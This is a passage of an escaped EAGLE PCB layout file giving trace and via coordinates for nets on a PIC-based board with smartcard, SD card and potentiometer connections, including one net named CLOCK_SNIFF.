x1=\"79.2\" y1=\"59\" x2=\"75.3\" y2=\"59\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.7\" y1=\"59\" x2=\"79.2\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.3\" y1=\"59.6\" x2=\"83.7\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.8\" y1=\"59.6\" x2=\"84.3\" y2=\"59.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.8\" y1=\"53.9\" x2=\"87.8\" y2=\"59.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.7\" y1=\"53.8\" x2=\"87.8\" y2=\"53.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.7\" y1=\"52.1\" x2=\"87.7\" y2=\"53.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.6\" y1=\"51.2\" x2=\"87.7\" y2=\"52.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.6\" y1=\"50\" x2=\"88.6\" y2=\"51.2\" width=\"0.2\" layer=\"16\"/>\n<via x=\"61.5\" y=\"54.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"68.2\" y=\"58.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"72.5\" y=\"60.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"79.2\" y=\"59\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"87.8\" y=\"59.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"90.6\" y1=\"64.7\" x2=\"92.6\" y2=\"64.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90.6\" y1=\"64.4\" x2=\"90.6\" y2=\"64.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.9\" y1=\"64.4\" x2=\"90.6\" y2=\"64.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.4\" y1=\"63.9\" x2=\"88.9\" y2=\"64.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.4\" y1=\"62\" x2=\"88.4\" y2=\"63.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.2\" y1=\"61.8\" x2=\"88.4\" y2=\"62\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.2\" y1=\"60\" x2=\"88.2\" y2=\"61.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.8\" y1=\"59.6\" x2=\"88.2\" y2=\"60\" width=\"0.2\" layer=\"16\"/>\n<via x=\"90.6\" y=\"64.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"88.9\" y=\"64.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"96.4\" y1=\"68.5\" x2=\"96.4\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.4\" y1=\"70.2\" x2=\"96.37\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.6\" y1=\"55.2\" x2=\"63\" y2=\"54.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.7\" y1=\"54.6\" x2=\"61.5\" y2=\"54.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"92.6\" y1=\"64.7\" x2=\"96.4\" y2=\"68.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.1\" y1=\"45.1\" x2=\"88.4\" y2=\"45.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.4\" y1=\"45.1\" x2=\"87.15\" y2=\"46.35\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.15\" y1=\"47.8\" x2=\"88.55\" y2=\"49.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.15\" y1=\"47.8\" x2=\"87.15\" y2=\"46.35\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102\" y1=\"44.4\" x2=\"100.7\" y2=\"44.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.7\" y1=\"44.4\" x2=\"99.55\" y2=\"45.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.2\" y1=\"58.8\" x2=\"69.6\" y2=\"60.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.6\" y1=\"60.2\" x2=\"72.5\" y2=\"60.2\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"PIC_SCK1\">\n<contactref element=\"U6\" pad=\"70\"/>\n<wire x1=\"63.1\" y1=\"55.7\" x2=\"64.5\" y2=\"55.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.5\" y1=\"55.7\" x2=\"63.1\" y2=\"55.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.9\" y1=\"65.1\" x2=\"63.5\" y2=\"55.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.5\" y1=\"69.5\" x2=\"93.3\" y2=\"69.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.5\" y1=\"70.2\" x2=\"93.5\" y2=\"69.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.5\" y1=\"55.7\" x2=\"64.52\" y2=\"55.7052\" width=\"0.2\" layer=\"1\"/>\n<via x=\"63.1\" y=\"55.7\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"35\"/>\n<wire x1=\"93.5\" y1=\"70.2\" x2=\"93.83\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"USD_1\" pad=\"5\"/>\n<via x=\"93.6\" y=\"63.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"92.3\" y=\"66.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"92.3\" y1=\"66.2\" x2=\"93.3\" y2=\"66.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.95\" y1=\"55.35\" x2=\"101.85\" y2=\"55.35\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.4\" y1=\"59.5\" x2=\"96.6\" y2=\"59.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"92.3\" y1=\"66.2\" x2=\"93.6\" y2=\"64.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.6\" y1=\"64.9\" x2=\"93.6\" y2=\"63.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"101.85\" y1=\"55.35\" x2=\"100.6\" y2=\"56.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.6\" y1=\"56.6\" x2=\"100.6\" y2=\"59.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.6\" y1=\"59.3\" x2=\"100.4\" y2=\"59.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.6\" y1=\"59.5\" x2=\"93.6\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.6\" y1=\"62.5\" x2=\"93.6\" y2=\"63.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.9\" y1=\"65.1\" x2=\"92.4\" y2=\"65.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"92.4\" y1=\"65.1\" x2=\"93.3\" y2=\"66\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.3\" y1=\"69.3\" x2=\"93.3\" y2=\"66.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.3\" y1=\"66.2\" x2=\"93.3\" y2=\"66\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP26\" pad=\"TP\"/>\n<wire x1=\"95.7\" y1=\"64.6\" x2=\"94.8\" y2=\"64.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"94.8\" y1=\"64.6\" x2=\"93.6\" y2=\"63.4\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"CLOCK_SNIFF\">\n<contactref element=\"U6\" pad=\"79\"/>\n<wire x1=\"62\" y1=\"58.4\" x2=\"61.8\" y2=\"58.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.4\" y1=\"58.4\" x2=\"62\" y2=\"58.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66\" y1=\"60\" x2=\"64.4\" y2=\"58.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66\" y1=\"66.1\" x2=\"66\" y2=\"60\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.7\" y1=\"67.8\" x2=\"66\" y2=\"66.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.8\" y1=\"68\" x2=\"67.7\" y2=\"67.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.1\" y1=\"68\" x2=\"67.8\" y2=\"68\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.4\" y1=\"59.8\" x2=\"61.3958\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.1\" y1=\"68\" x2=\"73.5\" y2=\"68.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.5\" y1=\"68.4\" x2=\"73.5\" y2=\"70.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.5\" y1=\"70.1\" x2=\"73.51\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<via x=\"62\" y=\"58.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"67.7\" y=\"67.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"27\"/>\n<contactref element=\"D6\" pad=\"P$1\"/>\n<contactref element=\"R18\" pad=\"1\"/>\n<via x=\"12.9\" y=\"17.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"12.9\" y1=\"17.7\" x2=\"12.95\" y2=\"17.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.95\" y1=\"17.75\" x2=\"12.95\" y2=\"19.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.6\" y1=\"21.1\" x2=\"22.3\" y2=\"19.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"23.6\" y1=\"28.6\" x2=\"23.6\" y2=\"21.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"23.9\" y1=\"28.3\" x2=\"23.6\" y2=\"28.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.2\" y1=\"28.3\" x2=\"23.9\" y2=\"28.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.7\" y1=\"31.3\" x2=\"53.4\" y2=\"31.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.2\" y1=\"32.8\" x2=\"53.7\" y2=\"31.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.2\" y1=\"33.3\" x2=\"55.2\" y2=\"32.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.5\" y1=\"34\" x2=\"55.2\" y2=\"33.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.5\" y1=\"35.9\" x2=\"54.5\" y2=\"34\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.2\" y1=\"36.6\" x2=\"54.5\" y2=\"35.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.2\" y1=\"38.4\" x2=\"55.2\" y2=\"36.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.5\" y1=\"38.1\" x2=\"55.2\" y2=\"38.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.3\" y1=\"38.1\" x2=\"55.5\" y2=\"38.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.8\" y1=\"39.6\" x2=\"60.3\" y2=\"38.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.6\" y1=\"39.8\" x2=\"61.8\" y2=\"39.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.6\" y1=\"43.4\" x2=\"61.6\" y2=\"39.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.8\" y1=\"44.2\" x2=\"61.6\" y2=\"43.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.8\" y1=\"46.8\" x2=\"60.8\" y2=\"44.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.3\" y1=\"47.3\" x2=\"60.8\" y2=\"46.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.7\" y1=\"47.3\" x2=\"61.3\" y2=\"47.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.9\" y1=\"47.5\" x2=\"61.7\" y2=\"47.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.9\" y1=\"48.3\" x2=\"61.9\" y2=\"47.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.7\" y1=\"49.5\" x2=\"61.9\" y2=\"48.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.7\" y1=\"52.7\" x2=\"60.7\" y2=\"49.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.8\" y1=\"53.6\" x2=\"60.7\" y2=\"52.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.8\" y1=\"56.1\" x2=\"59.8\" y2=\"53.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60\" y1=\"56.3\" x2=\"59.8\" y2=\"56.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.6\" y1=\"56.3\" x2=\"60\" y2=\"56.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.6\" y1=\"58\" x2=\"61.6\" y2=\"56.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62\" y1=\"58.4\" x2=\"61.6\" y2=\"58\" width=\"0.2\" layer=\"16\"/>\n<via x=\"22.3\" y=\"19.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"23.6\" y=\"28.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"53.7\" y=\"31.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"55.2\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"61.8\" y=\"39.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"59.8\" y=\"56.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"61.6\" y=\"56.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"61.4\" y1=\"59.8\" x2=\"61.4\" y2=\"58.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.4\" y1=\"58.7\" x2=\"61.7\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.7\" y1=\"58.4\" x2=\"61.7\" y2=\"58.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.7\" y1=\"58.5\" x2=\"61.8\" y2=\"58.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.4\" y1=\"31.6\" x2=\"39.2\" y2=\"31.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.2\" y1=\"31.6\" x2=\"38.2\" y2=\"30.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.2\" y1=\"30.6\" x2=\"36.5\" y2=\"30.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"36.5\" y1=\"30.6\" x2=\"34.2\" y2=\"28.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.95\" y1=\"19.9\" x2=\"18.8\" y2=\"19.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.8\" y1=\"19.9\" x2=\"22.2\" y2=\"19.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.2\" y1=\"19.9\" x2=\"22.3\" y2=\"19.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.785\" y1=\"18.9\" x2=\"18.785\" y2=\"19.885\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.785\" y1=\"19.885\" x2=\"18.8\" y2=\"19.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RD13\">\n<contactref element=\"U6\" pad=\"80\"/>\n<wire x1=\"60.9\" y1=\"58.5\" x2=\"60.9\" y2=\"59.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62\" y1=\"57.4\" x2=\"60.9\" y2=\"58.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.3\" y1=\"57.4\" x2=\"62\" y2=\"57.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64\" y1=\"57.4\" x2=\"62.3\" y2=\"57.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66.4\" y1=\"59.8\" x2=\"64\" y2=\"57.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66.4\" y1=\"65.5\" x2=\"66.4\" y2=\"59.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70.7\" y1=\"69.8\" x2=\"66.4\" y2=\"65.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70.7\" y1=\"70.2\" x2=\"70.7\" y2=\"69.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.9\" y1=\"59.8\" x2=\"60.8878\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"62.3\" y=\"57.4\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"26\"/>\n<wire x1=\"70.7\" y1=\"70.2\" x2=\"70.97\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"!SD_WE\">\n<wire x1=\"56.2\" y1=\"63.1\" x2=\"56.4\" y2=\"62.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"56.2\" y1=\"68.4\" x2=\"56.2\" y2=\"63.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.5\" y1=\"69.1\" x2=\"56.2\" y2=\"68.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.5\" y1=\"70.2\" x2=\"55.5\" y2=\"69.1\" width=\"0.2\" layer=\"16\"/>\n<via x=\"56.4\" y=\"62.9\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"20\"/>\n<wire x1=\"55.5\" y1=\"70.2\" x2=\"55.73\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.73\" y1=\"70.2\" x2=\"55.662\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"U6\" pad=\"88\"/>\n<contactref element=\"J1\" pad=\"1\"/>\n<wire x1=\"56.9\" y1=\"59.82\" x2=\"56.9\" y2=\"62.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.9\" y1=\"62.4\" x2=\"56.4\" y2=\"62.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.108\" y1=\"73.5\" x2=\"53.4\" y2=\"73.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.4\" y1=\"73.5\" x2=\"55.5\" y2=\"71.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.5\" y1=\"71.4\" x2=\"55.5\" y2=\"70.43\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.5\" y1=\"70.43\" x2=\"55.73\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"SMARTCARD_TX_PIC_RX\">\n<contactref element=\"U6\" pad=\"52\"/>\n<contactref element=\"U7\" pad=\"CARD_IO_PIN7\"/>\n<contactref element=\"R26\" pad=\"2\"/>\n<wire x1=\"11.5\" y1=\"63.7\" x2=\"14.1\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.5\" y1=\"63.9\" x2=\"11.5\" y2=\"63.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26.1\" y1=\"60.9\" x2=\"26.1\" y2=\"60.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.5\" y1=\"63.9\" x2=\"11.42\" y2=\"63.92\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69\" y1=\"46.7\" x2=\"64.6\" y2=\"46.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.1\" y1=\"46.8\" x2=\"69\" y2=\"46.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.7\" y1=\"45.2\" x2=\"69.1\" y2=\"46.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70.7\" y1=\"40\" x2=\"70.7\" y2=\"45.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.6\" y1=\"37.1\" x2=\"70.7\" y2=\"40\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"79.1\" y1=\"37.1\" x2=\"73.6\" y2=\"37.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.13\" y1=\"34.95\" x2=\"79.1\" y2=\"37.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"46.7\" x2=\"64.52\" y2=\"46.6882\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26.3\" y1=\"60.6\" x2=\"26.1\" y2=\"60.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.9\" y1=\"60.6\" x2=\"26.3\" y2=\"60.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34\" y1=\"60.5\" x2=\"33.9\" y2=\"60.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"34\" y1=\"37.4\" x2=\"34\" y2=\"60.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"34.13\" y1=\"37.27\" x2=\"34\" y2=\"37.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.6\" y1=\"32.4\" x2=\"36.1\" y2=\"32.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"81.1\" y1=\"34.9\" x2=\"78.6\" y2=\"32.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26.1\" y1=\"60.8\" x2=\"26.1\" y2=\"60.85\" width=\"0.2\" layer=\"1\"/>\n<via x=\"69.1\" y=\"46.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"79.1\" y=\"37.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"33.9\" y=\"60.6\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"36.1\" y=\"32.4\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"26.1\" y1=\"60.9\" x2=\"23.1\" y2=\"60.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.1\" y1=\"60.9\" x2=\"22.9\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.9\" y1=\"61.1\" x2=\"14.1\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP14\" pad=\"30\"/>\n<wire x1=\"81.1\" y1=\"34.9\" x2=\"81.13\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.13\" y1=\"37.27\" x2=\"34.13\" y2=\"33.11\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"34.13\" y1=\"33.11\" x2=\"34.84\" y2=\"32.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"34.84\" y1=\"32.4\" x2=\"36.1\" y2=\"32.4\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP23\" pad=\"TP\"/>\n<wire x1=\"11.42\" y1=\"63.92\" x2=\"11.42\" y2=\"65.28\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.42\" y1=\"65.28\" x2=\"10.3\" y2=\"66.4\" width=\"0.2\" layer=\"1\"/>\n<via x=\"10.3\" y=\"66.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"10.3\" y1=\"66.4\" x2=\"10.3\" y2=\"66.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"10.3\" y1=\"66.1\" x2=\"11.6\" y2=\"65.3\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"POT_SDO_PIC_SDI4\">\n<contactref element=\"U6\" pad=\"49\"/>\n<contactref element=\"U1\" pad=\"13\"/>\n<wire x1=\"62.4\" y1=\"42.7\" x2=\"62.4\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74.3\" y1=\"36.7\" x2=\"69.6\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.05\" y1=\"34.95\" x2=\"74.3\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.4\" y1=\"44.5\" x2=\"62.4118\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.5\" y1=\"25.5\" x2=\"72.4\" y2=\"25.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74.4\" y1=\"25.5\" x2=\"72.5\" y2=\"25.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"75.8\" y1=\"26.9\" x2=\"74.4\" y2=\"25.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"75.8\" y1=\"34\" x2=\"75.8\" y2=\"26.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76\" y1=\"34.2\" x2=\"75.8\" y2=\"34\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.4\" y1=\"25.4\" x2=\"72.3622\" y2=\"25.34\" width=\"0.2\" layer=\"1\"/>\n<via x=\"74.4\" y=\"25.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"28\"/>\n<wire x1=\"76\" y1=\"34.9\" x2=\"76\" y2=\"34.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76\" y1=\"34.9\" x2=\"76.05\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.4\" y1=\"42.7\" x2=\"62.9\" y2=\"42.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.9\" y1=\"42.2\" x2=\"65.3\" y2=\"42.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"65.3\" y1=\"42.2\" x2=\"67\" y2=\"40.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67\" y1=\"40.5\" x2=\"67\" y2=\"39\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67\" y1=\"39\" x2=\"69.3\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.3\" y1=\"36.7\" x2=\"69.6\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"POT_SDI_PIC_SDO4\">\n<contactref element=\"U6\" pad=\"50\"/>\n<contactref element=\"U1\" pad=\"3\"/>\n<wire x1=\"69.4\" y1=\"37.2\" x2=\"67.4\" y2=\"39.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.2\" y1=\"37.2\" x2=\"69.4\" y2=\"37.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.4\" y1=\"35\" x2=\"76.2\" y2=\"37.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.5\" y1=\"35\" x2=\"78.4\" y2=\"35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.9\" y1=\"44.5\" x2=\"62.8944\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.1\" y1=\"24.1\" x2=\"67.7\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"77.5\" y1=\"33.5\" x2=\"77.5\" y2=\"24.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.5\" y1=\"34.5\" x2=\"77.5\" y2=\"33.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.5\" y1=\"34.9\" x2=\"78.5\" y2=\"34.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.7\" y1=\"24.1\" x2=\"67.6378\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<via x=\"70.1\" y=\"24.1\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"29\"/>\n<wire x1=\"78.6\" y1=\"35\" x2=\"78.59\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.5\" y1=\"35\" x2=\"78.59\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.5\" y1=\"34.9\" x2=\"78.59\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.4\" y1=\"39.2\" x2=\"67.4\" y2=\"40.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.4\" y1=\"40.8\" x2=\"63.62\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.62\" y1=\"44.58\" x2=\"62.8944\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.1\" y1=\"24.1\" x2=\"71.2\" y2=\"23\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.2\" y1=\"23\" x2=\"75.7\" y2=\"23\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"75.7\" y1=\"23\" x2=\"77.5\" y2=\"24.8\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"SMARTCARD_RX_PIC_TX\">\n<contactref element=\"U6\" pad=\"53\"/>\n<contactref element=\"R26\" pad=\"1\"/>\n<wire x1=\"34.7\" y1=\"59.2\" x2=\"26.1\" 